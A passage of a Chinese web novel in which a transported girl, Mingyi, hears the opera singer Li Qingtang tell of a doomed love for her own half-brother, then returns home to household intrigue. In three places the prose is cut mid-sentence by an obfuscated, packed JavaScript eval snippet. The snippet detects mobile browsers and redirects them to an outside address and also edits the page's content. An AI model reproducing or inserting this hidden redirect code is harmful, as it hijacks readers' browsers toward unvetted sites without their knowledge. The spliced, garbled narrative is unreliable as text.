明夷睁眼看着面前雪白的面容,枝叶斑驳的影子映在侧脸,狭长的狐狸眼像是山间的鬼魅,神差鬼使般地点了点头。 两人沿着回廊外围走着,明夷嗅着鼻间淡淡的海棠香,好奇地问道:“青棠姐姐,为什么你们都那么喜欢《牡丹亭》?方才晚膳时听你们讲了许多,但我还是不太明白,杜丽娘对于你们来说意味着什么?是你们在她身上看见自己的影子了吗?还是向往?” 李青棠带着女孩拐到池边,太湖石堆叠的洞窟因夜风穿行发出低低的呜咽,石隙间苔藓泛着幽绿的微光。明夷落后半步,李青棠的长发被风送到了她的耳畔,女孩向前跑了两步,转身面对着那盏宫灯。 月亮周围的云雾突然散了干净,天地间浩渺无垠,明夷原先晦暗的身影在月光的笼罩下变得清晰,有一瞬间,李青棠真的觉得眼前的女孩似乎不在人间。 池中锦鲤跃出水面的“噗呲”声突然划破寂静,两人俱是回过神来。明夷讪讪地绞着垂在胸前的绦带,向前迈了一小步与李青棠并肩,后者晃了晃手中的宫灯,声音有些暗哑:“明夷要不要再听一个故事?” 李青棠说这是个很狗血的故事,属于是放在茶馆里,要被众人大骂着退钱的,但是她要讲了,她没和别人说过,明夷你必须听完哦,要不然…要不然你的人生就少一个无聊故事了…… 故事的主角还是李青棠。 李青棠是孤儿,被来鹤班班主夫妇捡了回去,她打小就漂亮,又聪明,夫妇俩都特别喜欢她,拿她当亲生女儿养。 她是在戏班里长大的,那时来鹤班只是个在集镇中巡演的小戏团,她从小跟着走南闯北,去了不少地方,但是班主夫妇从不教她唱戏,也不让她跟戏团里的人多接触,虽然总在外奔波,但每到一处安置下来都会给她单分一个小屋子,整日拘着不让出门,就让她在屋子里读书,《内训》《女戒》要读,《论语》《孟子》也要读,总之好像那些大家小姐读什么,她就要读什么,甚至还给她请过一位塾师。 李青棠是个活泼好动的性子,坐不住,明明去了那么多地方,却从不让她上街走走,明明戏班子在人群中演出,却从不让她抛头露面。 她也问过为什么,她又不是什么小姐,为什么要这样管着她?她也要学戏,她要做名扬大周的闺门旦!班主夫人听了之后,破天荒的打了她一巴掌,又赶忙抱着她狠狠哭了一通,不说原因,只一直重复让她不要再说这种话了。 李青棠很委屈,同时也更疑惑了,她想不明白,一个孤儿,又不是亲生的,甚至就算是亲生的,在戏班子里长大,真能养出个被世人承认的小姐?父母不让学戏,她就偷偷学,平常训练时就躲一旁偷看,外出演出时就自己偷偷唱,或许她是真的有天赋,几年下来,她觉得自己不必班子里的任何人差。 之后来鹤班逐渐有了名气,钱也越赚越多,于她15岁那年在苏州盘了个小楼安定了下来。有一回楼里演出,她悄悄从房间溜出来,找了个隐蔽处,跟着台上的杜丽娘一起演。唱到那“梦回莺啭,乱煞年光遍。人立小庭深院”时,身后突然传来抚掌声,一个年龄和她相仿的少年从暗处走了出来,吊儿郎当的说道:“果然是小庭深院立佳人啊。” 李青棠听到这不着调的调侃,气恼极了,抓起桌上的茶水就往那少年身上泼,然后转身就跑,身后那人向前才追了两步,就看见她泥鳅似的钻到楼里不见了,只得悻悻作罢。 后来连着几天李青棠都在楼里碰到了少年,她不明白,楼里的隐蔽处她去了个遍,怎地次次都能遇那人?最后干脆就待在自己屋子里,看他怎么找! 之后几天,李青棠果然没有再见到那个少年,但也给自己闷坏了。恰好戏班接到了城里高门的邀请,李青棠便躲在装行头的木箱里跟着过去了。 结果呢,好巧不巧,躲了几天的人在那户人家的花园里打了个照面。当时她乘屋里没人,从箱子里偷跑到庭院,还没走两步就险些被人发现,这少年不知从哪钻出来的,一把挡在她身前,三言两语就将人支走。 不远处的戏台上,恰好演到《寻梦》这出,杜丽娘挽着水袖唱到:“最撩人春色是今年,少什么低就高来粉画垣,原来春色无处不飞悬。” 少年旁边恰好是一树粉海棠,微风拂过,花瓣在空中打着旋往下飘,那人回头温柔地问她是否有事,李青棠心跳蓦地加快,她好像心动了。 后面的事情就很俗套了,他俩偷偷相爱,山盟海誓、私定终身。少年经常跑来楼里看她,带来许多新奇玩意,有时她也会戴着帷帽溜出去和他逛街,李青棠最喜欢在他面前唱《牡丹亭》,说她俩就是杜丽娘和柳梦梅…… 就这样偷偷幽会了一年多,终于东窗事发,李青棠和少年在街上被班主夫妇逮了个正着,直接被带回了家。 闺房的门被母亲直接锁上了,只每日送两餐饭。李青棠不服,日日闹,就这样吵嚷了三四天,母亲在一次送饭时未像往常一样直接离开,而是把门关上,坐在了榻边。 李青棠见母亲这幅模样,猜想是要和自己好好聊聊,立马坐好。而母亲只是淡淡问了句:“你知道我为什么要阻止你吗?” 李青棠马上答道:“男女大防,于礼不合。” 母亲叹了口气,又问道:“你可知他是谁?” 李青棠一下子泄了气:“林家的嫡次子。但是他说——” 母亲打断道:“你可知道他父亲是谁?” 李青棠有些疑惑,就林家老爷呗,但还是规规矩矩的答道:“是林知府。” 母亲长叹一口气,背过脸去,神情满是不忍,末了还是开口道:“他是你父亲!” 李青棠满脸困惑,不明白母亲再说什么:“父亲?什么父亲?林知府的确是阿时的父亲啊,母亲为什么还要在——” “我说,林正则,是你的亲生父亲!”母亲吼完这句,直接脱力般的倒在床上。 李青棠从凳子跌倒了地上,颤抖地去抓母亲的衣袖,“娘,你在开什么玩笑啊,你,你要让我们分开,也该,也该编一个好一点的借口啊,这算什么啊…” 母亲满脸心痛地抓住李青棠的手将她拉到床上,捧着她的脸,认真说道:“林正则是你的亲身父亲,他和你娘相识于微末,你娘唱戏供他读书,然后又离开戏班嫁与了他。而他考取功名后为娶大官的女儿又一脚将你娘踹掉。我和你娘是同乡出来的,若没有你娘,我早死了。后来你娘走投无路又来找我,终日郁郁寡欢,最后生下你就去了。” 李青棠彻底呆住了,如此残酷的真相不是十六岁的她所能承受的,难怪母亲一直拘着她把她当小姐养,难怪阿时说初见她时就觉得非常亲切,难怪她也总觉得自己好像认识了阿时很多年,原来,原来竟是这样……少女悲恸的抱住母亲哭得昏天黑地,好像要将这辈子的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15286961|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼泪都流干,哭了睡,醒了又哭,后面哭不出来了,又只是躺在床上,不想吃饭,也不愿出门。 大概又过了四五天,母亲敲了敲门,说阿时来找她,就在楼下,见不见由她,但母亲之所以来这告诉她,还是希望她能去亲自断了两人的联系。 李青棠简单收拾了一下便下楼了,一抬眼就看到在大厅里紧张地来回踱步的少年。阿时听到声响,对她露出了个大大的笑容,迫不及待的和她说道:“青棠,我,我和我父母说了我俩的事情。我家里有大哥担着家业,我父母说只要我能考取功名,他们就同意我娶你!” 李青棠安静地听完了少年的话,认真地看着他的眼睛,嘴唇张了几次才将话说出口:“阿时,我们不能在一起。” 少年有些发懵,着急地去抓李青棠的手:“怎么了这是,你是在怪我吗,我…我这几天不是故意不来找你的,我在和我父母商…商量我俩的事,我一和他们说好我就来找你了,我…你…青棠你怎么瘦了那么多?” 李青棠轻轻将手抽出来,深吸了一大口气,努力绷住自己的表情对着少年缓缓说出了真相。 少年像是被惊雷砸中一般,整个人像木雕一样凝住了,李青棠耐心的等他回神,少年嗓音干涩,前前后后张了几次嘴都没将话说出口,最后只是颠三倒四地说着:“…我不信…这太荒唐了……我要回去问父亲,青棠你等我…我要回去问他!” 李青棠苦笑着看着少年失魂落魄的背影,隔日,少年果然又来了,他和李青棠隔着桌子相对而立,少年有些痛苦地说道:“他想见你,他说他不知道当时有你——” “够了!”李青棠凶狠地打断道,“我不想听这个,我管他想干什么!” “好好好,我们不提他,不提不提。”少年慌张地摆手,又接着说道:“那个…就是,我,我昨晚翻了一宿的书,书上也有兄妹成亲的,只要,只要我们不要孩子就行。没有什么人知道我俩的关系,我们是可以成亲的!” 李青棠凄然一笑:“你还不明白吗,我们不可能在一起的,横在我们中间的,不是只有血缘……” “别再说了,就停在这吧,我们好好告个别。” 李青棠转身回房,披上了杜丽娘的戏服,对着少年又唱了回《寻梦》。 少女挽着水袖,泣血般唱道:“人世之事,非人世所可尽……” 楼外的夕阳绚烂的像是要把天地烧个遍,却堪堪止步于门槛之外,少年颤抖的指尖抚过轻薄的水袖,蓦自深吸一口气,转身走向吵嚷的大街。 “就这样完了?”明夷抽噎着问道 “完了啊,剩下的我晚膳时已经讲过了。”李青棠举着宫灯去瞧女孩满是泪痕的小脸。 “你不是说你爱人死了吗?他怎么死的?被杀?生病?还是——”明夷焦急地问道 “哦,他没死,也不对,他人没死,但他在我心里已经死了。”李青棠认真解释道 “?” 看着女孩糊涂的神情,李青棠叹了口气,重新说道:“他曾经是我的爱人,现在不是了,在失去的那瞬间,我就告诉自己我的爱人已经死了,活着的那个只是无关紧要之人。我羡艳杜柳之间至死不渝的爱情,但我也得到过人间至真之情,只是没有结局罢了。” “我长在戏班,却受过一阵子闺阁教育,明明去了不少地方,却只能在屋子里长向花阴课女工,没人比我更懂那种荒诞和割裂。 我在舞台上唱着杜丽娘,每唱一回,就感觉自己朝丽娘走近一步。情字无解,《牡丹亭》里也不止有情,世间的悲剧我都可以在里面找到成因,女子的困境躲藏在每一句戏词里,但是,希望也在,起码我在这之中看到另一个世界。我一遍遍入戏,在戏里嬉笑怒骂,在戏里生来死去,在戏里挥洒全部的情感,杜丽娘是人间至情的化身,而我与她早已不可分离。” 12. 春日明夷 明夷以为自己今晚会失眠,却不想竟然倒头就睡,一夜无梦。 铜漏已至三更,映雪棠内烛火未熄,李青棠走后,徐淑仪和顾静翕依旧倚坐在贵妃榻上聊天。 徐淑仪拨弄着花几上的文竹,懒懒道:“有时想想,真是造化弄人呐,你那腌臜后娘千方百计把你娘在世时给你定的夫婿抢走,又把她女儿不要的塞给你,结果她女儿嫁过去,婆母狠厉,丈夫纨绔,偷人、下毒什么花样玩了个遍,反而成就了你一段好姻缘,呵,都是命。 你都不知道去岁我母亲写信给我,在里头形容你后娘那落魄样,简直大快人心!当初你写信说你后娘逼你嫁人,你不知我有多怕你走上我的后路……” 提到母亲,徐淑仪忽然有些心烦,手上微一用力,掰下一节细弱的绿茎:“想当年我父亲为我定下这夫婿,素日温柔娴静的母亲疯了一样冲进书房摔了一屋子的东西,最后我还是坐上花轿进了这叶府的门。我永远忘不了那日母亲瘫坐在地,歇斯底里满脸泪痕的样子,父亲就高高的站在那里俯视我们,冷冷几句‘家族兴旺,无知妇人’,真是令人作呕。” 顾静翕轻轻抚过那绿云似的竹叶,忿忿道:“我父亲不也一样,当日我后娘把那家人换给我那妹妹,他难道不知道?靠我母亲才起来的软骨头,却天天在家里摆劳什子威风,我看着就可笑。他才不在意家里几个女儿谁嫁,嫁谁,过得好不好,他只惦记着如何把我们几个卖个好价钱,给他的官位加码,钱袋加金。” 说着顿了顿,叹了口气又继续说道:“我也是运气好,同光虽体弱多病,但却是真心爱护我……” 听到这,徐淑仪有些促狭地打断道:“是啊是啊,主要还是样貌好,想当初你给我写信,说幸亏嫁了二郎,他家另外两个兄弟长得就——” “哎呀呀,才说两句怎么就恼了呢。”徐淑仪笑着躲开顾静翕伸过来捉痒的手,“在闺中时问你想要什么样的夫婿,你第一个就说必需长得好看,啧啧啧,如今倒是如我们小静翕所愿呐。” 顾静翕抓不住人,索性往后一躺,瘪瘪嘴道:“这可是过一辈子的人,朝夕相对,要是真嫁个丑的,我宁愿吊死在房梁上。” 徐淑仪攥着袖口擦拭眼角笑出的泪花:“是是是,不然怎么能生出明夷那么漂亮的丫头来,我看着真是喜欢得紧!” 提起女儿,顾静翕也笑道:“我的明儿就是这世上最好的姑娘,从前我因照顾她父亲,还有我肚里流掉的两个孩儿,对她关照不够,直到那日落水,看到她浑身冰凉地躺在床上,我就觉得…我…” 妇人抽泣两声,“总之我就下定决心,从今往后一定要好好关心爱护我的明儿,我盼望着她能幸福快乐一辈子。” 徐淑仪将自己袖口递过去给友人擦眼泪,嗳呀道:“好端端的怎么又哭了,我都说多少回了,眼泪掉多了伤身,怎么就听不进去呢?” 顾静翕攥着友人的袖口委屈道:“我又控制不住自己……哎呀!你刚刚是不是也拿的这只袖子抹的眼泪!” 徐淑仪闻言翻了个白眼,懒懒地举起另一只手:“看清楚了,是这只,再说了,是又怎样?你还敢嫌弃我不成?” 顾静翕就着她手臂拧了一把,后者传来“哎唷”的叫唤,“不说这些了,你觉得我的明儿怎么样?” 徐淑仪揉着手臂一脸哀怨地说着:“好啊,肯定好啊,我敢说不好吗?” “哎呀你正经点,别贫,那么大人还没个正形。” “到底是谁没个正形,躺得东倒西歪的,那些《女德》《女训》都读到狗肚子里了是吧——”瞟见友人暗含威胁的眼神,徐淑仪连忙正色道 “咱们明丫头自是极好的,模样好,性格好,心性好,整个人聪明、豁达、明事理,她一来,就像桃花开在冰雪地,带的孚哥儿都生动不少。” 提到吴中孚,顾静翕也有些好奇道:“孚哥儿这小小年纪的,安静的性子总是少些孩子气,之前在家里是什么光景?” 提到吴中孚家里的情况,顾静翕也叹了口气:“他爹娘关系不好,两个冷心冷情的人凑到一块,谁顾得上孩子?孚哥儿从小就是府里的婆婆丫鬟带大的,这些人为省事,成天就把孩子拘在屋里头,小小年纪的没人玩没人疼,性子能成这样都算好的。 之后六岁生了场大病,刚好那时随我家那人去吴府做客,看见那病恹恹豆苗似的样子,心疼的紧,就提出‘护身符’的法子,把人要过来养,哼!他那对爹娘真是没有一点舍不得。 把人带回来后,小小一个玉雪团子似的,懂事的要命,天天早起请安,然后就去房里看书,我有心陪他玩玩,但效果也不是很好,可惜我这也没得个同龄人陪他,嗐。” 顾静翕拍拍友人的手,“你已经做得够好了,明眼人都瞧得出来你把孚哥儿养得极好,就是他亲生父母也未必比得上。我也喜欢孚哥儿这孩子,小小年纪就长得秀逸脱俗,身上一股子磊落气,要不是年龄不合适,我都想让他做我女婿……” 徐淑仪闻言笑道:“这就开始挑起女婿了嗳,明夷的夫婿你可得好好挑,家世人品才学都要好好把关,就连孚哥儿,虽然现在看着好,但毕竟年龄还小,以后的事情谁又说得准呢?嗐,如果明夷能嫁给孚哥儿,那我岂不是算半个婆母了……但这年龄的确唉。” 顾静翕打了个哈欠,慢悠悠道:“我一直琢磨着,如果可以,还是希望多留明儿几年,太早嫁人有什么好的,多放在父母膝下呵护,至于别的,再说吧,等真要成亲,我希望明儿能遇见个她自己真心喜欢的……睡吧睡吧,再不睡那铜漏就要漏干了……” 府里另一头的厢房内,李青棠依旧点着灯读徐夫人给的那林三小姐批的《牡丹亭》,指尖抚过眉页上密密麻麻的朱字,闻着屋内似有若无的海棠香,思绪又飘到今晚的月亮…… 前尘往事在今晚尽数提了个遍,当时的痛彻心扉,仿佛死过一回,现在也能心平气和的说与人听了。 “泥上偶然留指爪,鸿飞那复计东西。”李青棠提起狼毫,在纸上落下这句诗。 说到底,人这一生,一切存在都是暂时的,哪有什么过不去的?往日的崎岖有多少,路遥远、人疲惫,到头来记得最深的竟是那驼货的毛驴是如何叫唤的。 李青棠揉了揉脖子,张开双手伸了个大大的懒腰,又拿起剪刀剪去了烛台的灯芯,如水的月光透过格窗,一条条的射在地上,这世间的烦恼多是人胡思乱想出来的,还是早些歇息吧。 第二日早晨,睡的肚皮朝天的明夷被麦冬叫醒,昏昏沉沉的由着人一通洗漱打扮,便被领着去了花厅。 徐淑仪、顾静翕和李青棠正围坐在小几处絮絮叨叨,吴中孚手持一卷书,坐在楠木八仙桌旁兀自安静的读着。明夷蹦蹦跳跳地先去和徐、顾两位夫人请安,又和李青棠问了声好。顾夫人笑眯眯地看着女儿鬓边颤巍巍的珠花蝴蝶,让她先去旁边坐会儿,她们再聊会儿就用早膳。 明夷拉开男孩旁边的灯挂椅,伸手抽出后者手中的书,大咧咧道:“阿孚怎么大早上就在读书啦,小小年纪的不要一整天像个学究一样,以后要你读书的日子可多了去。” 早在明夷进来时,吴中孚手中的书就没再翻过一页,女孩今日穿着杏黄如意云间纹短袄,下着翠绿如意头纹马面,鬓边的蝴蝶随着她的动作一晃晃的,鲜活得就像是枝头开得灿烂的棣棠花。 “那明姐姐觉得现在应该干什么呢?”男孩故作困惑地问道 明夷一噎,是诶,那应该干什么呢?她也不知道啊,视线游离到中孚眉间的红痣,女孩突然说道:“我可以摸摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292453|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你这颗痣吗?” 吴中孚有些意外,但还是点了点头,女孩白嫩的指尖轻轻抚过那颗米粒大小的痣,说道:“阿孚这颗痣真漂亮,衬得你像观音座下的童子,别人都说眉心长红痣的人命最好了,看来我们的小阿孚会非常幸运哦。” 也不知是因为女孩的动作还是言语,吴中孚觉得自己脸有些热,磕磕绊绊地说:“明姐姐那么漂亮,肯定也会很好命,能够认识明姐姐,我也觉得自己很幸运。” 明夷有些惊讶,刚认识的时候还一副不善言辞的模样,这才过了几天就这么会讲话了,果然是她魅力,呸,太有亲和力了吗,无论是在哪个世界,都很招小孩子喜欢呢! 想到这,明夷美滋滋地摸了一把男孩的脑袋,逗弄地说道:“可是书里都说红颜命薄欸,你夸我漂亮好命,这和书里的不一样哦。” 吴中孚有些着急:“不是的,不是这样的!书里的东西不能全信,明姐姐肯定会长命百岁的!” 明夷看着男孩着急的模样,心软的一塌糊涂,一把子将人揽到怀里,揉了好几把,将人头上的软角唐巾都整歪了,直到旁边的母亲她们过来,才大发慈悲的把人放走。 才一落座,徐夫人就瞧见男孩满脸通红的模样,好笑道:“孚哥儿这是掉热水池子了?怎么脸红成这样?” 旁边的顾夫人也打趣道:“咱们孚哥儿这小脸红红的样子,和门上的年画娃娃一样,是在是可爱得紧。” 末了瞟见明夷笑得贼眉鼠眼的样子,挑了挑眉,佯怒道:“莫不是你明姐姐欺负你了?快快告诉静姨,我定给你做主!” 还不等明夷开口喊冤,吴中孚就赶忙说道:“没有没有,明姐姐没有欺负我……” 男孩话还没说完,桌上又是一阵笑声,吴中孚看看笑得花枝招展的姨姨们,又看了看一脸狡黠的明夷,窘迫得脸又红上几度,好在此时几个丫鬟也提着食盒走了进来,大家的注意力回到了那张八仙桌上。 徐夫人指挥着丫鬟给众人盛粥,“今日这碧粳粥是用梅花露煨的,你们快闻闻这清香。” 李青棠低头尝了一口,赞叹道:“像是直接嚼梅花似的,徐夫人府上的东西可真是好吃的紧。” “嗳,好吃就多吃些,玉竹,快再给李小姐盛一碗!咱们青棠大忙人今日就要走了,想多留你两日都留不住。” 李青棠连连告罪:“实在不是我不想留,只是演出的日子都是排好的,耽误不得。好容易与二位夫人那么投缘,我恨不得厚着脸皮赖在你们身边。” 顾夫人也笑道:“此生有幸得见青棠妹妹的杜丽娘,是我们在坐的福气,我只盼着以后能再听几场欸。” 八仙桌上,青瓷碟里码着四色点心,鹅油酥卷透出蜜渍玫瑰的嫣红,翡翠烧麦薄皮裹着虾茸芦笋,梅花状的甘露山药糕上点着金箔,鸳鸯豆沙包造型成双,精致得不行。 除点心外,又有丫鬟捧着十二格攒盒端了上来,胭脂鹅脯切得薄如蝉翼,糟鹌鹑蛋浸在琥珀色的卤汁里,嫩黄姜芽配着琥珀桃仁,另有四时腌菜盛在菊瓣盘中。 明夷秉持着亲和姐姐的自觉,一边吃一边照看着旁边的中孚小朋友,吃到什么好吃的都要给人夹一筷子。男孩面前的碟子堆得都冒尖,也不开口让人停下,只一个劲的边吃边谢,边上的丫鬟瞧见了忍不住捂嘴偷笑。 早膳后,明夷跟着母亲门送别李青棠。青棠姑娘临上轿时,特意走到明夷面前,将一串手链塞到女孩手上,俯身说道 “这是我用自己在各地收集的石头贝壳果子之类的东西串的,送给昨晚天上的小仙子,如果可以,希望小明夷也能去这些地方走走。” 来鹤班的车马沿着街头逐渐远去,只剩下路边扬起的尘土,明夷看了看无法跨过的门槛,兀自握紧了手中的链子。 13. 小蝴蝶 一转眼来到这钱塘县已有半月,其中办了事、赏了戏,还七七八八听了一堆有的没的八卦,再加上每日花样百出,味道甚好的餐食点心,虽然依旧大门不出二门不迈,但也无人让她注意这注意那,明夷掰着指头谨慎计量,得出这可比王府待的舒服的认真结论。 只是这就跟旅行一样,外头再舒服,人终究是要回家的。今日收到明夷父亲寄来的信,说那王元亨前几日在舅舅处闹着要回家,现已接了回来。元哥儿一进门就拉着母亲嘀嘀咕咕不知说了什么,总之第二日大夫人就领着儿子期期艾艾的到不系园处道了歉。 末了,王二郎又在信中问妻女何时归家,他表示自己也非常愿意她们母女俩多玩一阵子,只是再过不久就是明夷祖母的生辰,还是得一家人坐一起吃饭为好。 顾静翕读着信,又是微笑又是皱眉的,给徐淑仪和明夷看得满脸疑惑,待她将信放下,徐淑仪就赶忙问道:“这信里写了什么?怎的你表情这般变化?” 明夷同样伸着脖子,好奇地看着自己的母亲,顾静翕食指点着信纸,先道:“元哥儿的事情解决了,母子俩去找同光道了歉。” 明夷欣喜的“啊”了一声,起身朝着中孚举起双手想和他击掌,面对男孩不解的神情,明夷道:“举起手,像我一样!”中孚学着样子举起小手,明夷飞快的和人击了个掌 “耶!我们成功啦!” 然后又牵着裙子在屋子里花蝴蝶似的转了几圈,把两位夫人并着丫鬟都逗笑了。 “还有呢?”徐淑仪问道,“这是好事啊,怎么你后面又皱眉了?” 顾静翕捉住友人的袖口,眨了眨眼,瘪嘴道:“他说过几日是我婆母的生辰,催我们娘俩回去。” 徐淑仪看见友人委屈的样子有点好笑,抬手盖住那只拽着袖口的手,道:“这像什么样子,自己家还有不回去的理,真想在我们这赖一辈子不成?” “成!我觉得成!” 明夷小蝴蝶转到徐淑仪身边,歪歪扭扭地往人膝盖上一趴,仰头道:“淑姨这里好,有好吃的好玩的,还有姨姨和阿孚,明儿喜欢这里。” “哈哈哈明丫头真是,怎么就不是我女儿呢?”徐淑仪将膝盖上的小人提起来,重重搂在怀里亲昵了好一会,摸着女孩白嫩的脸蛋喜欢得不行,“我的心肝欸,真是太讨人喜欢了,难怪你爹娘那般疼你!” 顾静翕笑眯眯的看着两人,又一把将旁边坐着的中孚拉进了怀里,明夷看着坐在母亲怀里手足无措的男孩,圆溜溜的杏眼笑成了弯弯的月牙。 徐淑仪一边系着明夷发间的绦带,一边说道:“婆母生日是大事,你做儿媳的自然要在跟前服侍,不然让那些嘴碎的人传到外面可如何是好?有时候闲言碎语最是伤人啊。我知道你这是舍不得我,你来的这段日子也是我难得开心的时光,到底现在离得近了不少,左右我家老爷一时半会儿也不会挪窝,你家二郎也是个大气的,也不会拘着不让你来。” 顾静翕将怀里的中孚搂紧了些,唉声叹气道:“嗐,只是一想到又要回去看见我那些难搞的妯娌和难伺候的婆母,心烦。” 中孚小朋友听到头顶传来的叹气啥,举起小手稍稍犹豫了一下,还是转头拍了拍顾静翕的肩膀,“静姨不要难过,等我长大了,做了官,嗯…做大官,她们要是再欺负你我就把人都抓起来,到时候我给你们买宅子,你和明姐姐还有王姨夫就搬到我和淑姨旁边,天天在一块。” “孚哥儿做官了还要带着我这个老骨头啊?”徐淑仪下巴垫在明夷头上,怜爱的看着面前的小人。 中孚点点头:“这是自然,淑姨就像娘亲一样,这份恩情中孚这辈子都不会忘记。” 顾静翕听了男孩的话也是心里软乎乎的,笑道:“小小年纪,有情有义,那我们可就等着孚哥儿啰。” 男孩小手握拳,郑重的点了点头,又引来两位夫人“嗳唷嗳唷”的笑声。明夷看见中孚一脸郑重的严肃模样,也学着母亲一本正经道:“那我们可就等着孚哥儿啰。” 无论再怎么不舍,次日娘俩还是坐上了回去的马车。明夷昏昏沉沉的坐了一天马车,裹着毯子躺在皮毛褥子上,迷迷糊糊听见有人在喊她,女孩不耐烦地翻了个身,嘴里不知在嘟囔着什么。 王同光无奈地看着女儿蜷成一团的小动物样,轻声阻止了妻子想要再去摇人的动作,直接将女儿打横抱在了怀里,稳稳地往宜秋院走去。 明夷其实在被抱起的刹那就醒了,但直觉这时睁眼有些尴尬,主要她和这位父亲一点都不熟,还是装睡为妙。 王同光将女儿轻轻放在床上,掖好被角,悄声和妻子说道:“明儿气色看起来比走之前好了不少,刚刚抱着也感觉重了些。” 顾静翕拨过女儿额边的碎发,看着她睡得红扑扑的小脸蛋,轻声道:“明儿在淑仪那玩得很开心,每日胃口也好……” 妇人顿了顿,还是和丈夫说道:“不知道是不是我的错觉,总感觉明儿自落水后整个人都有了些变化,之前的事情很多也不记得了……” 床上装睡的女孩听到这心里顿时一紧,呼吸微微错乱。 王同光握住了妻子的手,安抚着说:“明儿年幼,大夫说了这回落水给她身体带来的伤害不小,虽然现在大好,但还是会有些后遗症,记不得事情也正常。” 明夷听到这,恨不得立马爬起来给父亲竖一个大拇指,是的,就是这样的,她有后遗症,她失忆了,和以前不一样很正常,记不住事也很正常,不必怀疑,过往不论,现在你们的女儿就是她。 似是为了转移妻子的注意力,王同光又说道:“那日大嫂带着元哥儿过来道歉后,就把当初指认明儿推人的小厮给提出来审了,结果什么也问不出来,那小厮一个劲的说自己是看错了,大嫂实在审不出什么,就把人交给了三弟妹,结果才一下午,三弟妹就把人赶了出去,说是就算审不出什么来,这样扰得家宅不宁的下人绝对不能留。” “赶出去了?”顾静翕狐疑道。 “夫人也觉得不对劲是吗,所以我偷偷去查了那小厮, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15297629|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你猜我查到什么?” “和三弟妹有关?” “夫人聪明,那小厮和三弟妹的陪嫁丫鬟是同乡,三年前由府里管事的招进的府,虽然还没有确切的证据证明他们之间的关系,但我觉得八九不离十。” 顾静翕双手抱胸,嗤道:“她那丫鬟祖籍在北边,世家大族聚居的地方,大老远跑来我们这做工,反正我不信。” 王同光轻轻揉着夫人的肩,继续往下讲:“你们不在家这段时间,我听到了一件事,之前明儿提的关于铺子的事。 “嗯?”顾静翕皱了皱眉,“别是三弟他们又整什么幺蛾子。” “算不上什么幺蛾子,但也差不多。前些日子三弟不是带人去建阴买布吗,经过路上遇到一骗子,自称是建西道长官的公子,还带着几个仆从,与三弟一路上同住一店。 许是那骗子装得不错,在进入建阴城外的那晚请三弟喝酒,三弟谨慎没有喝多,等第二日进城,三弟想着已进入熟悉地界,那人和他一路同来又即将分别,不答礼回请不礼貌,于是便又请人吃了一顿,结果连带着几个仆从喝了个烂醉,身上带的四五百两银子被人悉数偷走,报官也捉不到人,自己也还是靠借钱才回的家,弟妹知道后指着三弟的鼻子骂他蠢,两个人吵的不可开交。” 顾静翕噗嗤一声笑出声来,赶忙捂住嘴瞧了一眼明夷,确定人还睡着才继续说道:“真是个蠢的,三弟被骗也不是第一次了吧,明明自己玩不过人家,还总是逞能要到处折腾,母亲也惯着他。说真的,要不是弟妹和母亲在背后把持着,不知道要被败多少。”说着又啐了一口,“那些个黑心肝的骗子,真要不得好死才好!” 王同光的手指移到了夫人的太阳穴,缓缓按着,“夫人莫气,我看时候也不早了,你也还饿着,咱们还是先回屋吧,晚点要是明儿醒了,就让麦冬给她端点宵夜。” 顾静翕点了点头,“刚好你把母亲寿宴要准备的东西好好与我说说,还有,给明儿并府里几个姑娘请先生的事情,眼下年已经过完了,都要开始准备了。” 听到关门的声音后,明夷悄悄睁开一条缝,确定人都走了后,才将眼睛完全睁开。 怎么说呢,装睡偷听果然能得到有效信息,那一揽子小说诚不欺我! 现下可以确定的是,落水错指这事和三叔母大概率是脱不了干系了,不过三叔母这么做的目的何在?难道是想离间大房二房的感情?但大房和三房本就感情不错,二房一直是被排斥在外的,为何还要多此一举? 还有三叔父那不大聪明的样子,他往外多败点钱,我们就得少花一点……嗯,好像目前对我没什么影响,但是千里之堤,溃于蚁穴,还是要防范于未然。 再说了,从古至今,无论大家小家,兄弟姊妹争夺财产的事情可从没消停过,为了以后的幸福生活,得想办法让爹娘去府里的财政上掺一脚。这夫妻俩每天过得跟闲云野鹤似的,松鹤楼点菜那次就能看出娘亲对钱没什么概念,明夷翻身坐起,捧着小脸哀叹道:这可不行呐。 14. 瑞鹤堂食早记 王府老太太所在的瑞鹤堂今早格外热闹,除了长子在外为官,剩下两个儿子并着大房媳妇都拖家带口的前来请安。 大夫人陈氏育有二子二女,长子王维亨年满17岁,目前正跟在父亲王同简身边读书,准备参加今年四月的府试。 